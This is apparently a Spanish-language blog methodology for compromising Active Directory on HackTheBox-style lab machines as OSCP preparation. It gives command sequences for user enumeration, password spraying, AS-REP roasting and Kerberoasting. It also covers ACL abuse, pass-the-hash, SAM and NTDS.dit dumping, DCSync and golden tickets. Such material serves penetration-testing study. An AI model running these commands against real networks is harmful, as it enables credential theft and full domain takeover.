Toda box de AD sigue el mismo patrón. Arrancas sin nada, encontrás una grieta, la ensanchás, y sos dueño del dominio. La cadena es predecible. Lo que cambia es donde cada eslabón se rompe.
Esta es la metodología que sigo en cada box de AD. Construida haciendo boxes como Active, Forest, Blackfield, y un montón más. No es teoría — es lo que realmente corro.
Fase 0 — Setup
Antes de tocar la box. 30 segundos de setup que previenen 30 minutos de confusión después.
Agregar el Dominio a /etc/hosts
echo "$IP domain.htb dc01.domain.htb" | sudo tee -a /etc/hosts
Siempre agregar tanto el nombre de dominio como el hostname del DC. La autenticación Kerberos requiere resolución de hostname apropiada. Si tus herramientas fallan con errores raros, revisá /etc/hosts primero. He perdido cantidades vergonzosas de tiempo con esto.
Sincronizar tu Reloj
sudo ntpdate -s $IP
Kerberos es sensible al tiempo. Si tu reloj está más de 5 minutos desfasado del DC, la autenticación falla. Sin mensaje de error útil — simplemente falla. Sincronizar antes de empezar.
Crear tu Directorio de Trabajo
mkdir -p {scans,loot,bloodhound}
Vas a recolectar un montón de output. Quedate organizado o te ahogás.
Fase 1 — Sin Credenciales
No tenés nada. El objetivo es simple: conseguir un username, conseguir una password, conseguir lo que sea.
1.1 — Enumeración con Null Session
Probar todo sin autenticar. Algo generalmente habla.
# SMB null session
crackmapexec smb $IP -u '' -p ''
smbclient -N -L //$IP/
smbmap -H $IP -u '' -p ''
# RPC null session
rpcclient -U '' -N $IP
> enumdomusers
> enumdomgroups
> querydispinfo
# LDAP anonymous bind
ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb"
Lo que estoy buscando: Usernames. Esa es la prioridad. Un username válido abre puertas.
En Forest, null RPC me dio la lista completa de usuarios. Eso fue todo el foothold — AS-REP Roasting a uno de esos usuarios.
1.2 — Enumeración de Usuarios via Kerberos
Si null sessions no dan nada, Kerberos frecuentemente confirma usernames válidos sin triggear lockouts.
kerbrute userenum -d domain.htb --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Los usuarios válidos retornan una respuesta diferente a los inválidos. Sin riesgo de lockout. Sin eventos de logon fallido para usuarios válidos.
1.3 — AS-REP Roasting (Pre-Auth Deshabilitado)
Una vez que tenés usernames — aunque sean solo unos pocos — proba esto inmediatamente.
impacket-GetNPUsers domain.htb/ -dc-ip $IP -usersfile users.txt -no-pass -format hashcat
Si alguna cuenta tiene “Do not require Kerberos preauthentication” → obtenés un hash. Crackealo.
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
Esta fue la ruta en Forest. Null RPC → lista de usuarios → AS-REP Roast → primeras creds. Cadena limpia.
1.4 — Enumeración de Shares SMB (Guest/Anonymous)
Algunos shares son legibles sin creds. O con acceso guest.
smbmap -H $IP -u 'guest' -p ''
crackmapexec smb $IP -u 'guest' -p '' --shares
En Active, el share Replication era legible anonimamente. Tenía un archivo Groups.xml con una GPP password. Eso fue el foothold.
Siempre descargar e inspeccionar todo en shares legibles:
smbget -R smb://$IP/sharename/
Buscar:
- Archivos GPP (
Groups.xml) — contienen passwords encriptadas, descifrables congpp-decrypt - Scripts — logon scripts, batch files, scripts PowerShell con creds hardcodeadas
- Archivos de config — web.config, connection strings, cualquier cosa con credenciales
- Documentacion — políticas de passwords, passwords por defecto, docs de onboarding
1.5 — SNMP Walk
Si UDP 161 está abierto:
snmpwalk -v2c -c public $IP 1.3.6.1
SNMP puede dumpear procesos corriendo, software instalado, a veces incluso command lines con credenciales.
1.6 — DNS Zone Transfer
dig axfr @$IP domain.htb
Revela subdominios, hostnames, a veces otros DCs o servidores que no sabías que existían.
Punto de Decisión — Fin de Fase 1
Si tenés credenciales → Fase 2. Si tenés usernames pero no passwords → password spray.
# Password spraying (cuidado con el lockout!)
crackmapexec smb $IP -u users.txt -p 'Season2026!' --continue-on-success
Passwords a probar: Welcome1, Password123, CompanyName2026!, Season+Year+!. Revisar la política de passwords primero si se puede:
crackmapexec smb $IP -u '' -p '' --pass-pol
Si no tenés nada — revisar servicios web, buscar otros vectores de ataque. A veces el foothold de AD viene a través de una web app en la misma box.
Fase 2 — Primeras Credenciales
Tenés un username y password de dominio. El juego cambia completamente.
2.1 — Validar y Probar Acceso
Primero, confirmar qué pueden hacer tus creds.
# Probar creds en todos los servicios
crackmapexec smb $IP -u 'user' -p 'password'
crackmapexec winrm $IP -u 'user' -p 'password'
crackmapexec mssql $IP -u 'user' -p 'password'
crackmapexec ldap $IP -u 'user' -p 'password'
Ese tag (Pwn3d!) en WinRM significa que tenés acceso a shell. Si lo ves → evil-winrm inmediatamente.
evil-winrm -i $IP -u 'user' -p 'password'
2.2 — Recolección BloodHound
Correr esto en el momento que tenes creds válidas. No después. Ahora.
bloodhound-python -u 'user' -p 'password' -d domain.htb -ns $IP -c all
Esto recolecta usuarios, grupos, sesiones, ACLs, trusts — todo. Importar los archivos JSON a BloodHound.
Qué buscar en BloodHound:
- “Shortest Path to Domain Admin” — primera revisión obvia
- “Shortest Path from Owned Principals” — marcar tu usuario como owned primero
- Cuentas Kerberoasteables — revisar qué SPNs existen
- Usuarios con derechos DCSync
- Cuentas con permisos peligrosos — GenericAll, GenericWrite, WriteDACL, ForceChangePassword, AddMember
En Blackfield, BloodHound mostró que mi usuario comprometido tenía derechos de ForceChangePassword sobre otra cuenta. Esa fue toda la ruta de escalada de privilegios. Habría tardado una eternidad en encontrarla manualmente.
2.3 — Kerberoasting
Autenticado ahora. Apuntar a service accounts con SPNs.
impacket-GetUserSPNs domain.htb/user:password -dc-ip $IP -request -outputfile kerberoast.hash
Crackear los hashes:
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
Las service accounts frecuentemente tienen passwords débiles y altos privilegios. En Active, hacer Kerberoasting al SPN de la cuenta Administrator me dio el dominio. Directo de primeras creds a DA.
Priorizar el cracking: Cuentas en Domain Admins o con acceso nivel admin (BloodHound te dice esto).
2.4 — Enumeración de Shares Autenticada
Ahora podes ver más shares.
smbmap -H $IP -u 'user' -p 'password'
crackmapexec smb $IP -u 'user' -p 'password' --shares
Buscar shares nuevos que no eran visibles antes. SYSVOL y NETLOGON siempre valen la pena revisar:
smbclient //$IP/SYSVOL -U 'user%password'
smbclient //$IP/NETLOGON -U 'user%password'
SYSVOL contiene group policies. NETLOGON contiene logon scripts. Ambos pueden contener credenciales.
2.5 — LDAP Dump Autenticado
# Todos los usuarios con detalles
ldapsearch -x -H ldap://$IP -D "[email protected]" -w 'password' -b "DC=domain,DC=htb" '(objectClass=person)' sAMAccountName description memberOf servicePrincipalName
# Computadoras
ldapsearch -x -H ldap://$IP -D "[email protected]" -w 'password' -b "DC=domain,DC=htb" '(objectClass=computer)' cn operatingSystem
Revisar campos de descripción. Los admins ponen passwords ahí más seguido de lo que creerías.
2.6 — ACL Abuse
BloodHound encontró permisos peligrosos? Hora de explotarlos.
GenericAll sobre un usuario:
# Resetear su password
net rpc password "targetuser" "NewPass123!" -U "domain.htb/user%password" -S $IP
GenericWrite sobre un usuario:
# Setear SPN para targeted Kerberoasting
impacket-addspn -u 'domain.htb/user' -p 'password' -t 'targetuser' -s 'HTTP/fake' "dc01.domain.htb"
# Después Kerberoastearlo
WriteDACL:
# Darte derechos DCSync
impacket-dacledit -action 'write' -rights 'DCSync' -principal 'user' -target-dn 'DC=domain,DC=htb' "domain.htb/user:password"
ForceChangePassword:
rpcclient -U 'user%password' $IP
> setuserinfo2 targetuser 23 'NewPass123!'
AddMember sobre un grupo:
net rpc group addmem "Target Group" "user" -U "domain.htb/user%password" -S $IP
Punto de Decisión — Fin de Fase 2
Conseguiste creds de admin? → Fase 4 (Comprometer el Dominio). Conseguiste creds de otro usuario? → Repetir Fase 2 con nuevo usuario, revisar qué puede acceder este. Conseguiste local admin en una máquina? → Fase 3 (Lateral Movement). Trabado? → Revisar BloodHound de nuevo. Probar queries diferentes. Mirar más de cerca las membresías de grupo.
Fase 3 — Lateral Movement
Tenés credenciales (password o hash) y necesitas moverte a otras máquinas.
3.1 — Elegir tu Herramienta
Árbol de decisión para ejecución remota:
- Tenés password + WinRM abierto (5985)? →
evil-winrm(shell más limpia) - Tenés hash + WinRM abierto? →
evil-winrm -H <hash>(Pass the Hash) - Tenés password + sin WinRM? →
impacket-psexec(requiere admin, cae a SYSTEM) - Tenés hash + sin WinRM? →
impacket-psexec -hashes :NTLM_HASH(PtH) - Necesitas sigilo? →
impacket-wmiexec(menos ruidoso que psexec) - psexec falla? →
impacket-smbexecoimpacket-atexeccomo alternativas
# Evil-WinRM con password
evil-winrm -i $TARGET -u 'admin' -p 'password'
# Evil-WinRM con hash (Pass the Hash)
evil-winrm -i $TARGET -u 'admin' -H 'NTLM_HASH'
# PsExec con password
impacket-psexec domain.htb/admin:password@$TARGET
# PsExec con hash
impacket-psexec -hashes :NTLM_HASH domain.htb/admin@$TARGET
# WMIExec (menos ruidoso)
impacket-wmiexec domain.htb/admin:password@$TARGET
3.2 — Cosecha de Credenciales en Hosts Comprometidos
Una vez en una máquina, cosechar todo.
# Dumpear SAM (cuentas locales)
impacket-secretsdump admin:password@$TARGET
# O desde una shell:
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Descargar y extraer offline:
impacket-secretsdump -sam sam.bak -system system.bak LOCAL
Buscar:
- Hashes de local admin (reutilizados entre máquinas?)
- Cached domain credentials
- LSA secrets
3.3 — Reutilización de Credenciales
La técnica #1 de lateral movement. Probar cada credencial que tengas contra cada máquina.
# Sprayear un hash contra todos los hosts
crackmapexec smb targets.txt -u 'admin' -H 'NTLM_HASH' --continue-on-success
La reutilización de passwords de local admin es extremadamente común. Un hash frecuentemente te da múltiples máquinas.
3.4 — Token / Session Abuse (Desde una Shell)
Si tenés shell en una máquina donde un usuario privilegiado está logueado:
# Revisar tokens (requiere SeImpersonatePrivilege)
# Usar herramientas como Rubeus, Incognito, o PrintSpoofer
whoami /priv
Si tenés SeImpersonatePrivilege → Potato attacks (PrintSpoofer, GodPotato, etc.) para SYSTEM.
Fase 4 — Comprometer el Dominio
Tenés acceso equivalente a Domain Admin. Hora de probarlo.
4.1 — DCSync
La forma más limpia de dumpear todos los hashes del dominio. Requiere derechos de replicación (Domain Admins tienen esto por defecto).
impacket-secretsdump domain.htb/admin:password@$DC_IP
Esto dumpea:
- Todos los hashes NTLM de usuarios del dominio (incluyendo krbtgt)
- Todos los hashes de computadoras del dominio
- Kerberos keys
Queres el hash NTLM de Administrator y el hash de krbtgt.
# DCSync solo Administrator
impacket-secretsdump -just-dc-user Administrator domain.htb/admin:password@$DC_IP
# DCSync solo krbtgt (para Golden Ticket)
impacket-secretsdump -just-dc-user krbtgt domain.htb/admin:password@$DC_IP
4.2 — Extracción de NTDS.dit
Alternativa a DCSync. Agarrar el archivo de base de datos directamente.
# Desde una admin shell en el DC
# Crear shadow copy
vssadmin create shadow /for=C:
# Copiar NTDS.dit del shadow
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\system.bak
# Descargar ambos archivos, después extraer offline
impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL
4.3 — Golden Ticket
Con el hash de krbtgt, podés forjar tickets para cualquier usuario. Persistencia que sobrevive resets de password (excepto reset de krbtgt).
# Obtener SID del dominio
impacket-lookupsid domain.htb/admin:password@$DC_IP
# Forjar Golden Ticket
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain domain.htb Administrator
# Usarlo
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]
Para el OSCP, DCSync generalmente es suficiente para probar el compromiso del dominio. Golden Ticket es bueno de entender pero overkill para la mayoría de escenarios de examen.
4.4 — Pass the Hash al Domain Controller
Si tenés el hash NTLM de DA, simplemente usalo directamente.
# Shell en el DC
impacket-psexec -hashes :DA_NTLM_HASH domain.htb/Administrator@$DC_IP
evil-winrm -i $DC_IP -u 'Administrator' -H 'DA_NTLM_HASH'
Ruta más simple. Hash de DCSync → PtH → shell en DC → proof.txt.
La Cadena Completa — Visual
Fase 1 (Sin Creds)
├── Null sessions → usernames
├── Kerberos user enum → usernames
├── AS-REP Roasting → password hash
├── Anonymous shares → credenciales/info
├── SNMP/DNS → recopilación de info
└── Password spraying → primeras creds
│
▼
Fase 2 (Primeras Creds)
├── BloodHound → rutas de ataque
├── Kerberoasting → hashes de service accounts
├── Enumeración de shares → más creds/info
├── LDAP dump → usuarios, descripciones, grupos
├── ACL abuse → escalada de privilegios
└── Reutilización de creds → más acceso
│
▼
Fase 3 (Lateral Movement)
├── Pass the Hash → otras máquinas
├── Evil-WinRM → shells
├── PsExec/WMIExec → shells
├── SAM/LSA dumps → más hashes
└── Token abuse → privilegios más altos
│
▼
Fase 4 (Comprometer Dominio)
├── DCSync → todos los hashes
├── NTDS.dit → extracción offline
├── Golden Ticket → persistencia
└── PtH como DA → proof.txt
Errores Comunes que he Cometido en Boxes de AD
No correr BloodHound inmediatamente. Antes enumeraba manualmente después de conseguir creds. BloodHound muestra rutas en segundos que toman horas de encontrar manualmente. Correrlo primero. Siempre.
Olvidar sincronizar el tiempo. Las herramientas de Kerberos fallan silenciosamente o con errores crípticos cuando los relojes están desfasados.
ntpdateantes de empezar.No revisar ACLs. La ruta a DA es frecuentemente a través de ACL abuse, no explotación directa. El análisis de edges de BloodHound es donde está el oro.
Intentar crackear todo. No todos los hashes de Kerberoast van a crackear. Si no crackea en 5 minutos con rockyou, avanza y busca otra ruta.
Ignorar reutilización de passwords. Un set de creds debería probarse contra cada servicio, cada máquina.
crackmapexeccon--continue-on-successcontra todos los hosts descubiertos.No agregar hostnames descubiertos a /etc/hosts. Cada hostname que encontrás en BloodHound o LDAP — agregarlo. Algunas herramientas requieren resolución de nombres apropiada.
Cheat Sheet — Herramientas por Fase
| Fase | Herramienta | Propósito |
|---|---|---|
| 0 | ntpdate | Sincronización de reloj |
| 1 | crackmapexec | Null sessions, spraying |
| 1 | kerbrute | Enumeración de usuarios |
| 1 | impacket-GetNPUsers | AS-REP Roasting |
| 1 | enum4linux | Enumeración SMB |
| 2 | bloodhound-python | Recolección de datos AD |
| 2 | impacket-GetUserSPNs | Kerberoasting |
| 2 | ldapsearch | Enumeración LDAP |
| 2 | smbmap | Enumeración de shares |
| 3 | evil-winrm | Shell remota (WinRM) |
| 3 | impacket-psexec | Shell remota (SMB) |
| 3 | impacket-wmiexec | Shell remota (WMI) |
| 3 | impacket-secretsdump | Credential dumping |
| 4 | impacket-secretsdump | DCSync |
| 4 | impacket-ticketer | Golden Ticket |
La cadena es siempre la misma: enumerar → encontrar una grieta → escalar → repetir hasta DA. Lo que cambia es dónde encontrás cada grieta. BloodHound y enumeración metódica la encuentran más rápido de lo que adivinar jamás podrá.